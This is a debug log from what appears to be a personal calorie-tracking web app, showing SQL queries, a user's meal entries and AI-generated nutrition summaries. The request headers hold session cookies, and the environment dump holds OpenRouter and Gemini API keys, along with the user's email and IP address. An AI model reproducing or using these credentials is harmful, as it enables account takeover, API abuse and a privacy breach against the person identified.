    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-19T10:19:30.384Z server-connect:app Executing action step identify
2025-12-19T10:19:30.384Z server-connect:app options: { provider: 'security' }
2025-12-19T10:19:30.384Z server-connect:output identity: 1
2025-12-19T10:19:30.744Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-19T10:19:30.744Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-19T10:19:30.745Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-19T10:19:30.746Z server-connect:app Executing action step identify
2025-12-19T10:19:30.746Z server-connect:app options: { provider: 'security' }
2025-12-19T10:19:30.746Z server-connect:output identity: 1
2025-12-19T10:19:30.746Z server-connect:app Executing action step restrict
2025-12-19T10:19:30.746Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T10:19:30.747Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-19T10:19:30.747Z server-connect:app Executing action step identify
2025-12-19T10:19:30.747Z server-connect:app options: { provider: 'security' }
2025-12-19T10:19:30.747Z server-connect:output identity: 1
2025-12-19T10:19:30.747Z server-connect:app Executing action step restrict
2025-12-19T10:19:30.747Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T10:19:30.747Z server-connect:app Executing action step identify
2025-12-19T10:19:30.747Z server-connect:app options: { provider: 'security' }
2025-12-19T10:19:30.747Z server-connect:output identity: 1
2025-12-19T10:19:30.747Z server-connect:app Executing action step restrict
2025-12-19T10:19:30.747Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T10:19:30.747Z server-connect:output restrict: undefined
2025-12-19T10:19:30.748Z server-connect:app Executing action step single
2025-12-19T10:19:30.748Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-19T10:19:30.748Z server-connect:app Executing action step identify
2025-12-19T10:19:30.748Z server-connect:app options: { provider: 'security' }
2025-12-19T10:19:30.748Z server-connect:output identity: 1
2025-12-19T10:19:30.748Z server-connect:app Executing action step restrict
2025-12-19T10:19:30.748Z server-connect:app options: { provider: 'security' }
2025-12-19T10:19:30.748Z server-connect:output restrict: undefined
2025-12-19T10:19:30.748Z server-connect:app Executing action step single
2025-12-19T10:19:30.748Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-19T10:19:30.749Z server-connect:output restrict: undefined
2025-12-19T10:19:30.750Z server-connect:app Executing action step select
2025-12-19T10:19:30.750Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-19T10:19:30.750Z server-connect:output restrict: undefined
2025-12-19T10:19:30.750Z server-connect:app Executing action step single
2025-12-19T10:19:30.750Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-19T10:19:30.751Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-19T10:19:30.753Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "The day's nutrition shows a good inclusion of protein from whey, supporting muscle development goals. However, the meal composition leans heavily on carbohydrates, with limited variety in vegetables and healthy fats. Consistent early morning gym sessions are a positive for recovery and progress. Overall, the day is decent but could benefit from more balanced nutrient intake.",
    bad_points: [
      'High carbohydrate intake from roti and aloo matar.',
      'Limited variety of vegetables and micronutrients.',
      'Potential for insufficient healthy fats beyond walnuts.'
    ],
    good_points: [
      'Inclusion of whey protein to support muscle development.',
      'Consistent early morning gym attendance.',
      'Pre-workout consumed to aid training performance.'
    ],
    suggestions: [
      'Incorporate a source of lean protein with the roti and sabzi.',
      'Add a serving of diverse vegetables to the meal.',
      'Ensure adequate hydration throughout the day.',
      'Consider a more balanced snack post-workout if needed.'
    ],
    predicted_weight: 70.2,
    predicted_weight_trend: 'gradual loss'
  },
  date: '2025-12-18T18:30:00.000Z'
}
2025-12-19T10:19:30.758Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-19T10:19:30.760Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-19T10:19:30.760Z server-connect:app Executing action step select
2025-12-19T10:19:30.760Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-19T10:19:30.762Z server-connect:output item_list: [
  {
    id: 447,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Walnut',
    calories: 26,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 3,
    quantity: '2 pieces',
    replacements: 'Almonds (slightly lower in calories per nut, good protein),Pistachios (lower calorie per nut, good protein)',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of healthy fats, protein, and micronutrients. Good for muscle development and overall health.'
  },
  {
    id: 448,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee (natural caffeine source),Green tea (natural caffeine, antioxidants)',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 2,
    skip_reason: "While pre-workouts can boost performance, many contain artificial sweeteners and stimulants. For muscle development, focus on whole foods and adequate sleep. If you feel you need it, ensure it's a reputable brand with minimal additives."
  },
  {
    id: 449,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 3,
    carbs_gm: 5,
    fat_gm: 3,
    quantity: '100 ml',
    replacements: 'Black tea (no milk, no sugar),Green tea (no milk, no sugar),Herbal tea',
    created_at: '2025-12-18T23:58:07.000Z',
    skip_level: 2,
    skip_reason: "Milk tea without sugar is relatively low in calories. However, if you're trying to maximize protein intake and minimize fat, plain black tea or green tea would be even better. The milk adds some calories and fat that might be better sourced from other, more nutrient-dense foods for muscle building."
  },
  {
    id: 450,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle repair overnight),Plant-based protein (pea, rice, soy - often lower in calories and fat, but check protein content)',
    created_at: '2025-12-18T23:59:32.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, high in protein, low in carbs and fat. Ideal for your goals.'
  },
  {
    id: 451,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 30,
    protein_gm: 3,
    carbs_gm: 5,
    fat_gm: 1,
    quantity: '100ml',
    replacements: 'Black tea (no milk),Green tea,Herbal tea',
    created_at: '2025-12-19T01:01:13.000Z',
    skip_level: 1,
    skip_reason: 'Generally good, especially without sugar. Provides some protein and hydration.'
  },
  {
    id: 452,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Roti',
    calories: 350,
    protein_gm: 11,
    carbs_gm: 74,
    fat_gm: 4,
    quantity: '3.5',
    replacements: 'Jowar Roti,Bajra Roti,Multigrain Roti',
    created_at: '2025-12-19T01:37:52.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 453,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Aloo Matar Sabzi',
    calories: 150,
    protein_gm: 5,
    carbs_gm: 23,
    fat_gm: 6,
    quantity: '1 serving (approx 150g)',
    replacements: 'Paneer Bhurji (less oil),Mixed Vegetable Sabzi (more greens, less potato),Mushroom Matar',
    created_at: '2025-12-19T01:37:52.000Z',
    skip_level: 2,
    skip_reason: 'Potatoes are high in carbs and can be replaced with more protein-rich or lower-carb vegetables for muscle development goals.'
  },
  {
    id: 454,
    intake_date: '2025-12-18T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 30,
    protein_gm: 2,
    carbs_gm: 3,
    fat_gm: 2,
    quantity: '100ml',
    replacements: 'Black tea,Green tea,Herbal tea,Water',
    created_at: '2025-12-19T04:49:29.000Z',
    skip_level: 1,
    skip_reason: 'Relatively low in calories and can be a good source of hydration. If using full-fat milk, switching to skim or low-fat milk can further reduce calories and fat.'
  }
]
2025-12-19T10:19:30.762Z server-connect:app Executing action step setvalue
2025-12-19T10:19:30.762Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-19T10:19:30.762Z server-connect:output var_total: 776
2025-12-19T10:19:30.763Z server-connect:app Executing action step setvalue
2025-12-19T10:19:30.763Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-19T10:19:30.763Z server-connect:output var_consumed: 32
2025-12-19T10:19:30.763Z server-connect:app Executing action step setvalue
2025-12-19T10:19:30.763Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-19T10:19:30.763Z server-connect:output var_deficit: 1624
2025-12-19T10:19:30.763Z server-connect:app Executing action step custom
2025-12-19T10:19:30.763Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-19T10:19:30.764Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '776',
    surplus_or_deficit: '1624',
    status_flag: 2
  }
]
2025-12-19T10:19:31.319Z server-connect:app Executing action step identify
2025-12-19T10:19:31.319Z server-connect:app options: { provider: 'security' }
2025-12-19T10:19:31.319Z server-connect:output identity: 1
2025-12-19T10:20:09.746Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-19T10:20:09.746Z server-connect:app Executing action step identify
2025-12-19T10:20:09.746Z server-connect:app options: { provider: 'security' }
2025-12-19T10:20:09.746Z server-connect:output identity: 1
2025-12-19T10:20:09.746Z server-connect:app Executing action step restrict
2025-12-19T10:20:09.747Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T10:20:09.747Z server-connect:output restrict: undefined
2025-12-19T10:20:09.747Z server-connect:app Executing action step processWithGemini
2025-12-19T10:20:09.747Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-19T10:20:12.070Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Jaggery Nuts Patti',
      quantity: '1 small piece (approx 20g, assuming a small piece is about 20g)',
      calories_consumed: 90,
      total_calories: 90,
      protein: 1.5,
      carbs: 12,
      fat: 4.5,
      lower_calorie_alternatives: [Array],
      skip_level: 2,
      skip_reason: "While nuts provide healthy fats and protein, jaggery adds significant sugar. For muscle development, focusing on protein and complex carbs is better. This is an 'ok' snack but not ideal for maximizing muscle gain due to the added sugar."
    }
  ],
  total_macros: {
    protein: { value: 1.5, unit: 'g' },
    carbs: { value: 12, unit: 'g' },
    fat: { value: 4.5, unit: 'g' }
  }
}
2025-12-19T10:21:09.320Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-19T10:21:09.321Z server-connect:app Executing action step identify
2025-12-19T10:21:09.321Z server-connect:app options: { provider: 'security' }
2025-12-19T10:21:09.321Z server-connect:output identity: 1
2025-12-19T10:21:09.321Z server-connect:app Executing action step restrict
2025-12-19T10:21:09.321Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T10:21:09.322Z server-connect:output restrict: undefined
2025-12-19T10:21:09.322Z server-connect:app Executing action step condition
2025-12-19T10:21:09.322Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-19T10:21:09.322Z server-connect:app Executing action step repeat
2025-12-19T10:21:09.322Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-19T10:21:09.322Z server-connect:app Executing action step insert
2025-12-19T10:21:09.322Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-19T10:21:09.324Z server-connect:output calories: { affected: 1, identity: 455 }
2025-12-19T10:21:09.324Z server-connect:output repeat: [ {} ]
2025-12-19T10:21:09.324Z server-connect:output condition: undefined
2025-12-19T10:21:09.554Z server-connect:router Serving templateView /calorie-tracker
2025-12-19T10:21:09.554Z server-connect:app Executing action step identify
2025-12-19T10:21:09.555Z server-connect:app options: { provider: 'security' }
2025-12-19T10:21:09.555Z server-connect:output identity: 1
2025-12-19T10:21:09.555Z server-connect:app Executing action step restrict
2025-12-19T10:21:09.555Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-19T10:21:09.555Z server-connect:output restrict: undefined
2025-12-19T10:21:09.555Z server-connect:router Render template layouts/main
2025-12-19T10:21:09.556Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
